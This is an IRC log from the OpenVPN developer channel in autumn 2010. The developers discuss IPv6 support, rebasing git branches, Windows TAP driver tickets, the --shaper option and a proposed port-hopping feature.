<@mattock1> there may be something useful in 1.5.1... I'll check it out 11:06 <@mattock1> there's lots of pwm work queued for me (e.g. the hashing stuff) already, so the pressure is definitely building up 11:07 <@mattock1> ecrist: if you send me the user account names of the people with lost passwords I'll send them new ones 11:47 <@mattock1> ecrist: it seems that 1.5.1 does have some email-based password reset functionality, I'll have to dig deeper to know for sure 11:47 < ecrist> ok, thanks. 12:06 <@mattock1> there definitely seems to be email password reset in later pwm versions... it sends a token (=code) to user's email address, which can then be entered to pwm... and if the token matches, user can reset the password. 12:44 <@cron2> whoa :-) - www.heise.de, one of the biggest IT news sites in .DE, is now reachable via IPv6 :-) 12:58 <@dazo> cool! 13:15 -!- dazo is now known as dazo_afk 15:01 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 15:04 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:11 -!- openvpn2009 is now known as patel 15:12 -!- patel is now known as openvpn2009 15:17 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:40 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] --- Day changed Thu Sep 30 2010 02:01 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:22 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:33 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Connection reset by peer] 02:43 -!- dazo_afk is now known as dazo 03:16 <@dazo> cron2: I'm skimming a rather odd IPv6 article (http://arstechnica.com/business/news/2010/09/there-is-no-plan-b-why-the-ipv4-to-ipv6-transition-will-be-ugly.ars) ... is it correct that Windows XP and MacOSX don't support stateless IPv6 autoconfig? 03:16 < vpnHelper> Title: There is no Plan B: why the IPv4-to-IPv6 transition will be ugly (at arstechnica.com) 03:17 <@dazo> ahh ... I misread it ... it says all OSes support stateless, but WinXP and OSX don't support stateful 03:19 <@cron2> no DHCPv6 client in XP or OSX, yes 03:19 <@cron2> so neither can learn DNS information automatically for IPv6, so neither can run v6-only (yet) 03:20 <@dazo> thx! that made more sense ... the sentence was oddly formulated so I understood the opposite, which didn't make much sense to me 03:21 <@dazo> ahh ... that's a reason why to use DHCPv6 .... I never really thought about that, but that also makes sense 03:28 <@cron2> well. there's politics behind. You *can* announce DNS server addresses in router advertisement, but the IETF took 15 years to agree that this is a useful thing (because the DHCPv6 camp blocked all additions to RA because "just use DHCPv6 for that!"), and so there's not very many implementations out there. Linux radvd and rdnssd(?) can send/receive it, but that's pretty much all support there is today. 03:29 <@cron2> IETF can sometimes be like open source... lots of religion, little progress :-) 03:29 <@dazo> grmbl! politics, politics, politics ... destroyer of innovation ... 03:30 <@dazo> heh ... so true 03:30 <@cron2> politics and religious beliefs, yes 03:30 <@dazo> mm 03:32 <@dazo> "NATs only break incoming connections by accident ... Firewalls on the other hand, break connectivity on purpose" ... so true :-P 03:39 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 05:28 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 05:46 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 07:17 -!- d303k is now known as d12fk 07:40 -!- hildeb1 [~hildeb@141.42.231.227] has joined #openvpn-devel 09:03 -!- hildeb1 [~hildeb@141.42.231.227] has left #openvpn-devel [] 12:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:53 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:40 <@dazo> jamesyonan: hey! I hope you got mattock's mail about cancelling the meeting today ... he, I and cron2 got very busy schedules today 13:40 <@jamesyonan> sure, no prob 13:42 <@dazo> goodie! 14:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 14:13 -!- dazo is now known as dazo_afk 14:45 -!- d457k [~heiko@88.130.208.29] has joined #openvpn-devel 14:45 -!- mode/#openvpn-devel [+o d457k] by ChanServ 15:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 16:37 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:51 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:06 -!- d303k [~heiko@88.130.201.181] has joined #openvpn-devel 19:06 -!- mode/#openvpn-devel [+o d303k] by ChanServ 19:08 -!- d457k [~heiko@88.130.208.29] has quit [Read error: Operation timed out] 20:21 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 21:02 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 21:05 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 21:05 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 21:05 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel --- Day changed Fri Oct 01 2010 00:16 -!- d303k [~heiko@88.130.201.181] has quit [Read error: Operation timed out] 00:18 -!- d303k [~heiko@88.130.201.181] has joined #openvpn-devel 00:18 -!- mode/#openvpn-devel [+o d303k] by ChanServ 00:22 -!- d303k [~heiko@88.130.201.181] has quit [Ping timeout: 240 seconds] 01:25 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 03:37 -!- dazo_afk is now known as dazo 04:08 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 06:00 < vpnHelper> RSS Update - tickets: #61: IPv6 neighbor solicitation not working with Windows <https://community.openvpn.net/openvpn/ticket/61> 06:15 <@dazo> cron2: ^^ Is this due to lack of IPv6 support in OpenVPN? 07:55 <@cron2> dazo: let me check 07:57 <@cron2> well, without the configs, I can't say anything, but here's what I think: 07:57 <@cron2> - point-to-multipoint tun with IPv6: won't work in 2.2 at all 07:57 <@cron2> - point-to-* tap with IPv6: should work in 2.1 or 2.2, no change here 07:58 <@cron2> - point-to-point(!) tun(!) IPv6 is supported in OpenVPN 2.1 already [OpenVPN side, not TAP driver] (since it doesn't route, just sends packet back and forth), but *that* will fail due to OpenVPN not setting up the tun interface appropriately 07:59 <@cron2> so I assume he's using p2p tun 08:06 <@dazo> thx! Would you mind taking ownership of that trac ticket? 08:06 <@dazo> what you told me now can be the answer, practically :) 08:44 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 09:02 <@cron2> yes. (I don't have rights in trac to do anything but comment, though) 09:09 <@dazo> huh ... odd ... mattock needs to check out that 09:19 * ecrist looks 09:20 < ecrist> blast, I don't have full admin rights. 13:19 -!- d303k [~heiko@88.130.201.181] has joined #openvpn-devel 13:19 -!- mode/#openvpn-devel [+o d303k] by ChanServ 13:40 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 14:13 -!- dazo is now known as dazo_afk 15:07 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 19:05 -!- d457k [~heiko@88.130.222.95] has joined #openvpn-devel 19:05 -!- mode/#openvpn-devel [+o d457k] by ChanServ 19:08 -!- d303k [~heiko@88.130.201.181] has quit [Ping timeout: 240 seconds] 23:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Sat Oct 02 2010 02:19 -!- d457k [~heiko@88.130.222.95] has quit [Ping timeout: 240 seconds] 11:48 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 11:48 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 12:51 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 13:00 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:14 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out] 13:27 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 14:03 -!- d457k [~heiko@88.130.222.95] has joined #openvpn-devel 14:03 -!- mode/#openvpn-devel [+o d457k] by ChanServ 15:18 -!- d457k [~heiko@88.130.222.95] has quit [Ping timeout: 272 seconds] 16:12 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:47 -!- krzie [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] --- Day changed Sun Oct 03 2010 01:44 -!- d457k [~heiko@88.130.195.52] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+o d457k] by ChanServ 02:00 -!- d457k [~heiko@88.130.195.52] has quit [Ping timeout: 276 seconds] 03:04 -!- d457k [~heiko@88.130.195.52] has joined #openvpn-devel 03:04 -!- mode/#openvpn-devel [+o d457k] by ChanServ 03:50 -!- d457k [~heiko@88.130.195.52] has quit [Ping timeout: 255 seconds] 04:29 -!- d457k [~heiko@88.130.195.52] has joined #openvpn-devel 04:29 -!- mode/#openvpn-devel [+o d457k] by ChanServ 04:41 -!- d457k [~heiko@88.130.195.52] has quit [Ping timeout: 264 seconds] 05:42 <@cron2> dazo: so how is your git integration/cleanup work going? 09:19 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 14:22 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:36 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 14:46 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:48 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 17:51 -!- helmut [helmut@subdivi.de] has quit [Ping timeout: 240 seconds] 17:51 -!- raidzxx [~Andrew@seance.openvpn.org] has quit [Ping timeout: 240 seconds] 17:51 -!- chantra_afk [~chantra@unaffiliated/chantra] has quit [Ping timeout: 240 seconds] 17:52 -!- helmut [helmut@subdivi.de] has joined #openvpn-devel 17:52 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel --- Day changed Mon Oct 04 2010 02:25 -!- dazo_afk is now known as dazo 02:44 <@dazo> cron2: I looked at it yesterday ... it's a mess due to JJO's branch initially was based on a wrong root when he branched it (a completely different tree) ... I most probably need to redo the complete allmerged branch, which brings in a lot of interesting challenges on the way 02:46 <@dazo> cron2: could you please rebase the feat_ipv6_wintap unto bugfix2.1? ... that would solve a few issues for me ... the build scripts gives very interesting conflicts now. Nothing impossible, but I just want to be sure using the James' version is the right thing to do 02:50 <@dazo> (feat_ipv6_payload seemed to merge pretty nicely, so that's not so bad) 03:42 <@cron2> where is feat_ipv6_wintap based now? 03:48 <@dazo> good question ... it is bugfix2.1, iirc ... but it's not been updated against the latest changes from James 03:49 <@dazo> so it needs to be rebased again against bugfix2.1 ... please rebase it, as that makes things easier in the long run when I'm merging in your changes 03:56 <@cron2> mmmh 03:56 * cron2 wonders how to push the result back to dazo 03:57 <@dazo> git push? 03:57 <@cron2> I have no write access to your repository... :-) 03:57 <@dazo> you push it to your tree (or somewhere I can pull it) 03:57 <@cron2> well, yes. need to create a new branch there... 03:58 <@dazo> ahh ... git push <destination> <branch> 03:59 <@cron2> ok, will give it a try 03:59 <@cron2> so how do I do that? git checkout -b feat_ipv6_wintap remotes/dazo/feat_ipv6_wintap 03:59 <@cron2> and then git rebase? 03:59 <@dazo> yupp! 03:59 <@dazo> git rebase remotes/dazo/bugfix2.1 04:01 <@cron2> ok, conflict (which is to be expected since the version numbers changed) 04:01 <@cron2> lets go fix it... 04:01 <@dazo> then you correct those conflicts ... git add <file(s)> ... and git rebase --continue 04:02 <@dazo> don't do commit, that messes things up a bit :) 04:04 <@cron2> yep, that's what it says :-) 04:04 <@dazo> ahh... true :) 04:04 <@cron2> uh, what should PRODUCT_TAP_RELDATE be? 04:05 <@cron2> (install-win32/settings.in) 04:05 <@cron2> that's the only conflict 04:05 <@dazo> humm humm ... the latest one? 04:05 <@cron2> I have 04:05 <@cron2> <<<<<<< HEAD 04:05 <@cron2> !define PRODUCT_TAP_RELDATE "04/19/2010" 04:05 <@cron2> ======= 04:05 <@cron2> !define PRODUCT_TAP_RELDATE "07/03/2010" 04:05 < vpnHelper> cron2: Error: "define" is not a valid command. 04:05 < vpnHelper> cron2: Error: "define" is not a valid command. 04:05 <@cron2> >>>>>>> Implement IPv6 in TUN mode for Windows TAP driver. 04:05 * cron2 slaps vpnhelper 04:06 <@dazo> I'd probably go for your date ... as that change comes on top of HEAD 04:06 <@dazo> (HEAD being the branch you're rebasing on top of) 04:06 <@cron2> ok 04:07 <@cron2> mmmh, why is there a conflict in win/build.py? never touched that 04:07 <@dazo> I dunno, tbh ... that confuses me as well 04:08 <@dazo> and I was not sure if you had changed anything there or not 04:08 <@dazo> it might be that it's due to an earlier merge in that branch 04:09 <@cron2> maybe 04:09 <@cron2> I'll just take the "in-branch" version now 04:10 <@cron2> ok, git rebase is happy. now push? 04:10 <@dazo> "in-branch" meaning, the HEAD? 04:10 <@cron2> no, "the other one" 04:10 <@dazo> okay 04:10 <@dazo> yeah, git push 04:11 <@cron2> ok, pushed to git://compile.svr01.mucip.net/openvpn-gert.git feat_ipv6_wintap 04:17 <@dazo> I'm gonna do a little trickery now, as I want you to be the master of that branch, I'm dropping my _wintap branch and will push your branch out officially 04:18 <@dazo> that way, we should avoid any nastiness in the future on this branch I hope 04:19 <@cron2> I'm not sure if I understand all the details, but I trust you to understand git better than I do :-) 04:19 <@dazo> I hope I do ... :) 04:20 <@dazo> can you pull my tree now, to see if your indexes says the same as mine? 04:21 <@dazo> $ git br -va | grep feat_ipv6_wintap 04:21 <@dazo> * feat_ipv6_wintap fffcb27 Updated build scripts to work with the IPv6 enabled Windows TAP driver 04:21 <@dazo> remotes/cron2/feat_ipv6_wintap fffcb27 Updated build scripts to work with the IPv6 enabled Windows TAP driver 04:21 <@dazo> remotes/origin/feat_ipv6_wintap fffcb27 Updated build scripts to work with the IPv6 enabled Windows TAP driver 04:21 <@dazo> fffcb27 should be the top commit ... 05:04 <@cron2> pull or fetch? 05:05 <@cron2> doesn't matter :-) 05:05 <@cron2> From git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing * branch feat_ipv6_wintap -> FETCH_HEAD 05:05 <@cron2> Already up-to-date. 05:06 <@dazo> cron2: perfect! Okay, I hope feat_ipv6_wintap will now behave nicely :) 05:06 <@cron2> mmmg 05:06 <@cron2> my top commit (git br -va) is now: 05:06 <@dazo> cron2: And you're now the master (upstream) of that branch, so from now on all I should do is to rebase against your branch. You need to rebase against your upstream base (bugfix2.1) and merge in other stuff 05:07 <@cron2> feat_ipv6_payload 7ce8245 [behind 5] Merge remote branch 'remotes/dazo/feat_ipv6_wintap' into feat_ipv6_payload 05:07 <@cron2> * feat_ipv6_wintap fffcb27 Updated build scripts to work with the IPv6 enabled Windows TAP driver 05:07 <@cron2> remotes/dazo/feat_ipv6_wintap fffcb27 Updated build scripts to work with the IPv6 enabled Windows TAP driver 05:07 <@cron2> remotes/gert/feat_ipv6_wintap fffcb27 Updated build scripts to work with th 05:07 <@dazo> exactly as anticipated :) 05:07 <@cron2> ah, ok. good. 05:08 <@dazo> :) 05:12 <@cron2> ok... while at it, could you pull openvpn-gert.git/feat_ipv6_payload? there's a linux iproute2+ipv6 bugfix that wants publishing :) 05:27 <@dazo> cron2: I can pull and push that branch ... still working on cleaning up the allmerged mess, I need to have a clear head doing that :) 05:27 * cron2 leaves dazo alone :) 05:27 <@dazo> :) 05:28 <@dazo> unfortunately, I have too much to do this week ... having yet another deadline this Friday ... and two chapters for JJK's book to review with deadline next monday 05:31 <@dazo> aikes ... well, now the mess is complete :) I managed to push out a broken allmerged branch too :( .... aiaiai 05:31 <@dazo> the good thing ... feat_ipv6_payload is updated :) 05:31 <@cron2> thanks 08:43 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 09:12 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 10:24 -!- dazo is now known as dazo_afk 11:03 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 11:38 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 12:21 <@cron2> has mattock reappeared? 12:21 <@cron2> this bug#61 in trac is fun. He's using 2.2-beta3 on windows and complains that IPv6 is not working, but he forgot to mention that this is a p2mp tun setup *with an ipv6-enabled* server... :-) 12:27 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:47 -!- dazo_afk is now known as dazo 13:51 < krzie> dazo, maybe you could cover this one? 13:51 < krzie> https://forums.openvpn.net/viewtopic.php?f=10&t=7129 13:51 < vpnHelper> Title: OpenVPN Support Forum View topic - FIPS-compliant OpenVPN (at forums.openvpn.net) 13:51 * dazo looks 14:00 <@dazo> krzie: done 14:00 < krzie> ahh cool so i wasnt far off in my head 14:01 < krzie> ifigured it was more or less the same answer as when someone wants to use hardware accelerated openssl 14:04 <@dazo> yeah, it really is ... I've never played with OpenSSL-FIPS ... but I basically believe it's either a plug-in thingy for OpenSSL or a drop-in replacement of the standard OpenSSL library ... and if the latter and the distro have done it's job properly, it should in theory be ABI compatible (Application Binary Interface) 15:57 < krzee> [13:57] <reiffert> ovpn-server1194[15567]: Options error: --shaper cannot be used with --mode server 15:58 < krzee> that makes no sense at all to me 15:58 <@dazo> huh? 15:59 <@cron2> well, shaper has no concept of "different destinations" yet, so it can only be used in p2p mode 16:00 <@cron2> --shaper n 16:00 <@cron2> Limit bandwidth of outgoing tunnel data to n bytes per second on 16:00 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 16:00 <@cron2> the TCP/UDP port. If you want to limit the bandwidth in both 16:00 <@cron2> directions, use this option on both peers. 16:00 < reiffert> moin 16:00 <@cron2> moin 16:00 < krzee> [14:01] <cron2> well, shaper has no concept of "different destinations" yet, so it can only be used in p2p mode 16:01 <@cron2> (from a cursory glance through the code and the man page) 16:01 < reiffert> it works here when I add it on the client side config. 16:01 <@cron2> the client only has a single tunnel... 16:01 < reiffert> unfourtunatly I need the opposite direction to be shaped. 16:02 <@cron2> well, the p2mp client works the same as in p2p mode, regarding tunnel/forwarding ("what comes from /dev/tun goes to the socket pipe and vice versa") 16:02 <@cron2> the p2pm server is different, it has the per-client routing code 16:02 <@cron2> and as far as I can see, the shaper is not tied into that yet 16:03 <@cron2> otoh I don't fully grok the code in forward.c yet :-) -> put on the agenda, ask james? 16:04 < reiffert> as soon as I add --shaper whatever to my client conf, ping times grow up to 25seconds. 16:06 < reiffert> which is not funny. 16:07 <@cron2> well, that's what a shaper does if the (virtual) link is full: delay packets to meet the allocated bucket rate 16:07 <@cron2> but I admit that I have never used openvpn's shaper, so maybe it's just buggered 16:08 < reiffert> except that my queue is not full. 16:09 < krzee> i also have never used it 16:18 -!- dazo is now known as dazo_afk 18:34 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 23:13 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 23:13 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 23:13 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Tue Oct 05 2010 00:19 -!- d457k [~heiko@88.130.222.200] has joined #openvpn-devel 00:19 -!- mode/#openvpn-devel [+o d457k] by ChanServ 00:34 -!- d457k [~heiko@88.130.222.200] has quit [Ping timeout: 255 seconds] 02:16 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:53 -!- dazo_afk is now known as dazo 03:52 < krzie> if anyone here is good with the windows stuffs... 03:52 < krzie> https://forums.openvpn.net/viewtopic.php?f=5&t=7154 03:52 < vpnHelper> Title: OpenVPN Support Forum View topic - TAP install Windows XP-SP3 fails (at forums.openvpn.net) 03:53 <@cron2> no idea 03:54 <@dazo> cron2: could it be it needs to use the DeleteTAPdevice (or whatever it's name is) stuff to remove the TAP driver before reinstalling? 03:56 <@cron2> normally, the installer will do this automatically if a tap driver is already there 03:56 <@dazo> ahh, okay ... then it's probably not that simple 07:10 * cron2 still has no rights in trac and mattock is still hiding... 07:11 <@dazo> I think mattock is travelling this week, it's unclear if he'll manage the meeting on Thursday too 07:20 <@cron2> ah 07:21 < reiffert> oh! 07:21 <@dazo> I'm also unsure about Thursday for my own part as well ... I'm having a deadline this Friday, and quite too much to do ... 07:22 <@cron2> in that case I'll just go to my Aikido class... (which takes place Thursday *or* Friday, and if there is no meeting, I go thursday...) 07:23 <@dazo> I'll notify mattock via mail ... that this week is also a bit rough ... next week looks much better though 07:27 < ecrist> sure, you get +O and a hostmask and you suddenly don't have to show up to meetings.... 07:27 < ecrist> ;) 07:29 <@dazo> ecrist: heh :) 09:14 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 12:59 -!- dazo is now known as dazo_afk 13:29 -!- krzy [krzee@hemp.ircpimps.org] has joined #openvpn-devel 13:29 -!- krzy [krzee@hemp.ircpimps.org] has quit [Remote host closed the connection] 13:29 -!- krzy [krzee@hemp.ircpimps.org] has joined #openvpn-devel 13:32 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 13:32 -!- krzy [krzee@hemp.ircpimps.org] has quit [Client Quit] 13:32 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:18 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 16:10 -!- samehshaker [~sameh@41.153.42.136] has joined #openvpn-devel 16:11 < samehshaker> hello there everyone, I've an idea for a new feature, and I'd like to know where should I start to have it implemented.... 16:11 < samehshaker> I was thinking for the past few weeks about port hopping.... 16:12 < samehshaker> where the port for the communication changes as a function in time.... 16:12 < samehshaker> I have some ideas about implementing it, like it would be much easier to have it implemented on the UDP connections.... 16:13 < samehshaker> the algorithm the new random port to be selected... 16:13 < samehshaker> stuff like that.... 16:13 < samehshaker> any tips on where to start will be great... 16:14 < samehshaker> anybody there? 16:17 < krzee> you might want to put it on the wishlist section of the forum, and mention that you develop and are interested in doing it but need a push in the right direction 16:18 < samehshaker> cool... 16:18 < samehshaker> thanks 16:18 < ecrist> !wishlist 16:19 < vpnHelper> ecrist: "wishlist" is http://ovpnforum.com/viewforum.php?f=10 for the openvpn wishlist 16:19 < krzee> heh 16:19 < krzee> i got some links to update 16:19 < krzee> i just realized the link at the bottom of !route also goes to the old forum 16:20 < krzee> !forget wishlist 16:20 < vpnHelper> krzee: Error: You don't have the factoids.forget capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified. 16:21 < krzee> !forget wishlist 16:21 < vpnHelper> krzee: Joo got it. 16:21 < krzee> !learn wishlist as https://forums.openvpn.net/viewforum.php?f=10 for the openvpn wishlist 16:21 < vpnHelper> krzee: Joo got it. 16:22 < krzee> the forum is so much easier to use now that cookies are right 16:23 < samehshaker> thanks 16:25 < ecrist> I really wish we were using vbulletin instead of phpbb, though. 16:27 < ecrist> though, vbulletin doesn't support ldap authentication currently. 16:27 < ecrist> lame sauce 16:30 < krzee> np samehshaker 16:34 < samehshaker> one post coming up on the forums :) 16:34 < samehshaker> thanks again, I'm looking forward to working on this... 16:35 < samehshaker> one last question, I believe I can write some plugin in C++ and still have it working properly with OpenVPN, am I right ? 16:36 < samehshaker> as long as it implements the interfaces and functions openvpn is looking for... 16:40 < krzee> afaik, that is correct 16:40 < krzee> i believe there is some docs for that, lemme look 16:40 < krzee> they would be somewhere on the community.openvpn.net site 16:41 < samehshaker> ok then, I'll look for it... 16:41 < krzee> https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation 16:41 < vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 16:41 < samehshaker> i looked into the plugins.h 16:41 < samehshaker> it kindda gave an idea... 16:51 < krzee> euphoria is a plugin quite by dazo, that may give some clues 16:57 < krzee> "eurephia" is http://www.eurephia.net/ 16:57 < vpnHelper> Title: eurephia :: a flexible OpenVPN authentication module (at www.eurephia.net) 17:09 < ecrist> krzee: should I symlink the factoids db for the openvpn channels so it's shared? 17:11 < samehshaker> eurephia looks very interesting.... 17:12 < samehshaker> just a last question, can I implement this within a plugin? or will I have to patch within the core code as well ? 17:12 < samehshaker> anyways, it's kindda early to ask this... 17:12 < samehshaker> sorry for that... 17:12 < samehshaker> thanks a million krzee ... 17:13 < krzee> ecrist, i was wondering about that as well 17:13 < krzee> honestly, im not sure 17:14 < krzee> i wouldnt argue against either answer 17:15 < samehshaker> (me sharing thoughts) we can use standard config port at the beginning of the connection... 17:15 < samehshaker> and then in seprate thread (for each user) handle the porthopping thingy 17:15 < samehshaker> this should have minimal impact on the base code of openvpn... 17:23 < krzee> you could even inject the new port at the end of the key reneg, since it already happens every hour 17:23 < samehshaker> sweet, looks like a potential start point :) 17:29 < samehshaker> cheers, catch you later... thank you one more time for your time.... 17:30 -!- samehshaker [~sameh@41.153.42.136] has quit [Quit: samehshaker] 22:40 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 23:20 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has quit [Ping timeout: 272 seconds] 23:20 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has joined #openvpn-devel --- Day changed Wed Oct 06 2010 01:36 -!- dazo_afk is now known as dazo 01:38 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 01:47 * dazo wishes samehshaker didn't log out ... 02:38 <@cron2> indeed 02:38 <@cron2> what he wants is quite far away from "have minimal impact" 02:40 <@dazo> and not possible to implement as a plug-in for sure :) 02:40 <@cron2> and no threads yet :-) 02:40 <@dazo> heh 02:41 <@dazo> well, before looking at the real code, it does sound that easy and simple though 02:41 <@cron2> nothing related to "listening on multiple ports" is ever "that easy and simple" :-) 02:44 <@dazo> heh ... that's very true ... I didn't think that far into the code path .... still in the waking up process ... 02:45 <@cron2> and then things like "reliable port change in the face of packet loss"... 02:45 <@cron2> all doable, of course, and very interesting challenge, but far from trivial... :-) 02:45 <@cron2> (we could even change between IPv4 and IPv6 transport in the middle of an ongoing session...) 02:46 <@dazo> that would actually be an awesome feature .... "hey, you got IPv6, lets use that instead!" 02:46 <@cron2> mmmm, SCTP transport... 02:47 <@dazo> hmm 02:48 <@dazo> well, could become a mess to firewall though ... unless you define very well in the config what's allowed and not 02:48 <@cron2> yes 02:49 < krzie> [03:41] <dazo> well, before looking at the real code, it does sound that easy and simple though 02:49 < krzie> thats not what he wants 02:50 < krzie> we established listening on multiple ports is a bitch to impliment and wont happen til v3 02:50 * cron2 still has it on his roadmap for 2.3 :) 02:50 < krzie> he wants to change the port that the tunnel operates on randomly as agreed by both sides 02:51 < krzie> on cool, if you get that done it would be very very awesome 02:51 < krzie> didnt know that was being worked on! 02:51 <@cron2> krzie: that's much harder, as you need to listen on both ports for a while (think "packet loss") 02:51 <@dazo> krzie: yeah, and that includes listening to multiple ports on the server side ;-) 02:51 <@cron2> krzie: well, it's not yet "being worked on", but I want to have it, and things happen faster when I implement them myself :) 02:51 < krzie> cron, during reneg traffic stops except the renegotiation, seems like a good time to do it 02:52 < krzie> when it restarts, it goes over the new port =] 02:52 <@cron2> it might need to fall back to the old port in case the new port doesn't go through a firewall... 02:52 <@dazo> krzie: but also think about the server side in a p2mp ... with multiple clients ... all negotiating their own port numbers individually 02:52 < krzie> if both sides attempt communication it would punch through firewalls 02:53 < krzie> server side would need to force the port then 02:53 <@cron2> if the fw permits "random port" traffic 02:53 < krzie> true, that would break his idea 02:53 < krzie> so those couldnt use it 02:53 < krzie> it wouldnt be for everyone (i wouldnt use it) 02:54 <@dazo> yeah ... I am administering firewalls which also have restrictions on outgoing ports ... so it's not for all, for sure ... but it again depends on the config flexibility 02:54 < krzie> true, maybe he could have a range or something 02:54 <@dazo> yeah, that will do a lot 02:55 < krzie> [03:49] <krzie> [03:41] <dazo> well, before looking at the real code, it does sound that easy and simple though 02:55 < krzie> [03:49] <krzie> thats not what he wants 02:55 < krzie> haha i pasted the wrong line 02:55 <@dazo> hehe 02:55 < krzie> i meant 02:55 < krzie> [03:41] <cron2> nothing related to "listening on multiple ports" is ever "that easy and simple" :-) 02:55 <@dazo> I thought so :-P 02:55 <@cron2> hehe :) 02:58 <@dazo> cron2 ... just thinking out loud ... what if we tried to implement a "message bus" in the current code base between the socket and the encrypt/decrypt code ... next step would be to try to spread socket code and encrypt/decrypt into separate threads, and then adding another thread listening to another port (socket) ... would that be a sensible approach? 02:58 <@dazo> just to take it a little bit step-by-step 02:59 <@cron2> I'm not sure I want to trade "one entry in a select() fd_set" against "one full thread per port" 03:00 <@dazo> fair enough 03:01 <@cron2> otoh, splitting socket/encrypt/decrypt sounds like one step towards greater scalability... 03:01 <@dazo> I'm just thinking about how to get started on the OpenVPN3 path ... and to start from complete scratch, I am worried that will kill the project ... we need to more tweak the current code over to something useful for OpenVPN3 03:01 <@dazo> but I do realise that some parts really need to be re-written from scratch 03:02 <@cron2> yeah, good question 03:22 <@dazo> Linux 2.4 seems to finally reach EOL from upstream ... http://thread.gmane.org/gmane.linux.kernel/1032254 03:22 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 03:37 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 03:52 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 04:09 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 06:56 -!- dazo is now known as dazo_afk 08:09 -!- dazo_afk is now known as dazo 09:48 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 13:59 -!- dazo is now known as dazo_afk --- Day changed Thu Oct 07 2010 02:19 -!- dazo_afk is now known as 